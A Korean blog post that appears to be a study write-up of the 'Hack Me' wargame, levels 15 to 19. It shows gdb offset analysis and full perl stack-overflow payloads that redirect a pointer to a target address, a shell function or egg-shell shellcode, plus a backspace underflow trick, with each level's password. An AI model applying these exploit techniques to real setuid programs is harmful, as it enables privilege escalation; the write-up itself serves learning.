Study Record

[리버싱] Hack Me 풀이집5 (15~19단계) 본문

리버싱/Hack Me

[리버싱] Hack Me 풀이집5 (15~19단계)

초코초코초코 2021. 11. 19. 11:56
728x90

15단계 → 16단계

※ 15단계(level15) 패스워드 : "guess what"

 

☞ 기초개념 - 버퍼 오버플로우

https://laustudy.tistory.com/65 - 버퍼 오버플로우

 

hint 파일을 보니 fgets 함수에서 buf 의 크기는 20byte인데 표준 입력으로 45byte까지 쓸 수 있게 되어있다. 따라서 이 함수를 이용해서 버퍼 오버플로우 공격을 실행할 수 있다. 코드의 흐름을 보아 check 라는 포인터 변수의 값을 0xdeadbeef 로 바꿀 수 있다면 다음 단계의 계정으로 쉘을 실행시킬 수 있을 것이다.

attackme 의 코드부분으로 추측된다.

 

㉯ 버퍼 오버플로우 공격을 하기 전, check(포인터 변수)buf 배열 사이가 얼만큼 떨어져 있는지 확인해본다.

attackme 코드를 ~/tmp/attackme 로 복사하여 gdb 명령어를 이용해 ~/tmp/attackme 파일을 열어 어셈블리 코드를 확인한다.

어셈블리 코드 확인 결과 buf 배열은 [ebp – 56] 에 위치하고 check 변수는 [ebp - 16] 에 있는걸 보니 check 변수와 buf 배열 사이는 40만큼의 차이가 있고 buf 배열은 20byte 크기를 가지고 있으므로 buf 배열과 check 변수 사이는 20byte 만큼의 빈 공간이 존재한다.

 

check(포인터 변수) 가 가르키는 값을 0xdeadbeef 로 바꾸기 위해 0xdeadbeef 가 들어있는 주소를 확인해본다.

어셈블리 코드 중 위의 그림이 check 변수가 가리키는 값과 0xdeadbeef를 비교하는 부분이다. 그렇다면 0xdeadbeef값이 들어있는 주소도 0x080484b0 주위 어딘가 있을 것이다.

0x0484b0 주위의 값들을 확인한 결과 0x080484b2 0xdeadbeef 가 있는 것을 확인했다.

 

버퍼 오버플로우 공격을 위해 필요한 정보들을 다 모았으니 공격 구문을 만들어본다.

먼저, fgets(buf, 45, stdin); 함수로 표준입력으로 buf 배열에 최대 45byte만큼 값을 쓸 수 있다. buf 배열의 크기는 20byte이고 check 변수까지 20byte의 빈공간이 존재한다. 따라서 40byte 를 아무 문자로 채우고 그 뒤 4byte0xdeadbeef 를 가르키는 주소인 0x080484b2 로 채우면 된다. 리틀 엔디안 방식을 사용하고 있으므로 0x080484b2는 거꾸로 들어가야 한다.

최종적으로 표준 입력값은 ( perl -e prnt Ax40,\xb2\x84\x04\x08”’ ) 가 되고, 공격 구문은 (perl -e ‘print “A”x40,”\xb2\x84\x04\x08”’; cat ) | /home/level15/attackme 가 된다.

 

공격 결과 shell 을 획득한 것을 볼 수있다.

16단계의 패스워드는 “about to cause mass”이다.

 

16단계 → 17단계

※ 16단계(level16) 패스워드 : "about to cause mass"

 

☞ 기초개념 - 버퍼 오버플로우

https://laustudy.tistory.com/65 - 버퍼 오버플로우

 

hint 파일을 보니fgets 함수에서 buf 의 크기는 20byte인데 표준 입력으로 48byte까지 쓸 수 있게 되어있다. 따라서 이 함수를 이용해서 버퍼 오버플로우 공격을 실행할 수 있다. 코드의 흐름을 보아 call 변수를 shell() 함수의 주소값으로 바꾸면 다음 단계의 계정으로 실행된 쉘을 얻을 수 있다.

 

㉯ 버퍼 오버플로우 공격을 하기 전, call(포인터 변수)buf 배열 사이가 얼만큼 떨어져 있는지 확인해본다.

attackme 코드를 ~/tmp/attackme 로 복사하여 gdb 명령어를 이용해 ~/tmp/attackme 파일을 열어 main 함수의 어셈블리 코드를 확인해본다.

어셈블리 코드 확인 결과 buf 배열은 [ebp – 56] 에 위치하고 call 변수는 [ebp - 16] 에 있는걸 보니 call 변수와 buf 배열 사이는 40만큼의 차이가 있고 buf 배열은 20byte 크기를 가지고 있으므로 buf 배열과 call 변수 사이는 20byte 만큼의 빈 공간이 존재한다. 또한, printit 함수의 주소값이 0x8048500 이 정말 printit 함수의 주소값이 맞는지 확인해본 결과 아래의 그림과 같이 맞게 나왔다.

 

shell 함수의 주소값을 확인해본다.

확인해본 결과 shell 함수의 주소값은 0x080484d0 라는 것을 알 수 있다.

 

버퍼 오버플로우 공격을 위해 필요한 정보들을 다 모았으니 공격 구문을 만들어본다.

먼저, fgets(buf, 48, stdin); 함수로 표준입력으로 buf 배열에 최대 48byte만큼 값을 쓸 수 있다. buf 배열의 크기는 20byte이고 call 변수까지 20byte의 빈공간이 존재한다. 따라서 40byte 를 아무 문자로 채우고 그 뒤 4byteshell 함수의 주소값인 0x080484d0 로 채우면 된다. 리틀 엔디안 방식을 사용하고 있으므로 0x080484d0 는 거꾸로 들어가야 한다.

최종적으로 표준 입력값은 ( perl -e prnt Ax40,\xd0\x84\x04\x08”’ ) 가 되고, 공격 구문은

(perl -e ‘print “A”x40,”\xd0\x84\x04\x08”’; cat ) | /home/level16/attackme 가 된다.

 

공격 결과 을 획득한 것을 볼 수있다.

17단계의 패스워드는 의 패스워드는 “king poetic” 이다.

 

17단계 → 18단계

※ 17단계(level17) 패스워드 : "king poetic"

 

☞ 기초개념 - 버퍼 오버플로우, 쉘코드, 에그쉘

https://laustudy.tistory.com/65 - 버퍼 오버플로우

https://laustudy.tistory.com/73 - 에그쉘

https://laustudy.tistory.com/70 - 쉘코드

 

hint 파일을 보니fgets 함수에서 buf 의 크기는 20byte인데 표준 입력으로 48byte까지 쓸 수 있게 되어있다. 따라서 이 함수를 이용해서 버퍼 오버플로우 공격을 실행할 수 있다. 코드의 흐름을 보아 call 변수를 미리 메모리에 올려둔 쉘코드의 주소값으로 바꾸면 3098(level18의 권한)으로 쉘코드를 실행할 수 있다.

 

㉯ 버퍼 오버플로우 공격을 하기 전, call(포인터 변수)buf 배열 사이가 얼만큼 떨어져 있는지 확인해본다.

attackme 코드를 ~/tmp/attackme 로 복사하여 gdb 명령어를 이용해 ~/tmp/attackme 파일을 열어 main 함수의 어셈블리 코드를 확인해본다.

어셈블리 코드 확인 결과 buf 배열은 [ebp – 56] 에 위치하고 call 변수는 [ebp - 16] 에 있는걸 보니 call 변수와 buf 배열 사이는 40만큼의 차이가 있고 buf 배열은 20byte 크기를 가지고 있으므로 buf 배열과 call 변수 사이는 20byte 만큼의 빈 공간이 존재한다.

 

메모리 공간에 미리 쉘코드를 올려놓고 그 쉘코드의 주소값을 가져온다.

$ /home/level12/tmp/egg

sh-2.05b$ /home/level12/tmp/getenv

EGG : 0xbffff6b8

쉘코드의 시작 주소값은 0xbffff6b8 이라는 것을 알았다.

 

→ 에그쉘과 쉘코드에 대한 설명

https://laustudy.tistory.com/73 - 에그쉘

https://laustudy.tistory.com/70 - 쉘코드

 

버퍼 오버플로우 공격을 위해 필요한 정보들을 다 모았으니 공격 구문을 만들어본다.

먼저, fgets(buf, 48, stdin); 함수로 표준입력으로 buf 배열에 최대 48byte만큼 값을 쓸 수 있다. buf 배열의 크기는 20byte이고 call 변수까지 20byte의 빈공간이 존재한다. 따라서 40byte 를 아무 문자로 채우고 그 뒤 4byte를 미리 메모리에 올려둔 쉘코드의 주소값인 0xbffff6b8 로 채우면 된다. 리틀 엔디안 방식을 사용하고 있으므로 0xbffff6b8 는 거꾸로 들어가야 한다.

최종적으로 표준 입력값은 ( perl -e prnt Ax40,\xb8\xf6\xff\xbf”’ ) 가 되고, 공격 구문은

(perl -e ‘print “A”x40,”\xb8\xf6\xff\xbf”’; cat ) | /home/level17/attackme 가 된다.

 

공격 구문을 실행해본다. 반드시 /home/level12/tmp/egg 가 실행되고 있어야 한다.

sh-2.05b$ (perl -e 'print "A"x40,"\xb8\xf6\xff\xbf"'; cat ) | /home/level17/attackme

공격 결과 쉘을 획득하였고 18단계의 패스워드는 “why did you do it” 이다.

 

18단계 → 19단계

※ 18단계(level18) 패스워드 : "why did you do it"

 

☞ 기초개념 - select 함수

https://reakwon.tistory.com/117 

https://pangtrue.tistory.com/31

 

㉮ hint 파일을 보면 아래와 같은 소스 코드가 나온다.

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);

          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}

void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}

소스 코드를 분석한 결과 표준 입력에서 값을 1byte씩 가져오는데 "\r"과 "\n"일 경우 "\a"를 출력하고 0x08일 경우 count 변수를 1만큼 감소하고 "\b \b"를 출력하고 그 외의 값은 string[count] 에 표준 입력에서 가져온 1byte 값을 쓰고 count 값을 1증가시킨다. 코드의 흐름으로 보아 check 변수에 0xdeadbeef 를 저장시킬 수 있다면 다음 단계의 권한으로 쉘을 실행시켜준다는 것을 알았다.

 

㉯ 지역변수들(string, x , check, count 등)사이에 빈 공간이 있는지 체크한다.

# cp ~/hint tmp/test2.c

# vi ~/tmp/test2.c

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("string: %p\ncheck: %p\n", string, &check, &x, &count);
  printf("Enter your command: ");
  fflush(stdout);
 ...

hint 파일을 그대로 복사해서 중간에 "printf("string: %p\ncheck: %p\n", string, &check, &x, &count);" 부분만 추가한다.

# gcc ~/tmp/test2.c -o ~/tmp/test

# cd ~/tmp

# chmod +x test

# ./test

실행해본 결과 string 과 check 사이에 빈 공간은 존재하지 않는다는 것을 알 수 있다.

 

㉰ string 과 check 사이에 빈 공간이 존재하지 않는다. check 변수에 0xdeadbeef 를 저장시키기 위해서는 아래 그림과 같은 관계를 가지므로 string[-1] = 0xde , string[-2] = 0xad , string[-3] = 0xbe , string[-4] = 0xef 이런식으로 저장하면 된다.

㉱ hint 파일을 보고 분석한 결과,

0x08 : count -1

"\r", "\n", 0x08 을 제와한 나머지  : string[count] = 받은 입력 값 ; count + 1

위와 같은 특성을 가지므로, "\x08\xde\x08\x08\xad\x08\x08\xbe\x08\x08\xef" 이렇게 입력하면 check 변수에 0xdeadbeef 가 저장될 것이다.

 

㉲ 만든 입력 값을 가지고 공격을 수행한다.

# (perl -e 'print "\x08\xde\x08\x08\xad\x08\x08\xbe\x08\x08\xef"'; cat) | /home/level18/attackme 

공격 결과 쉘을 획득하였고 19단계의 패스워드는 “swimming in pink” 이다.

728x90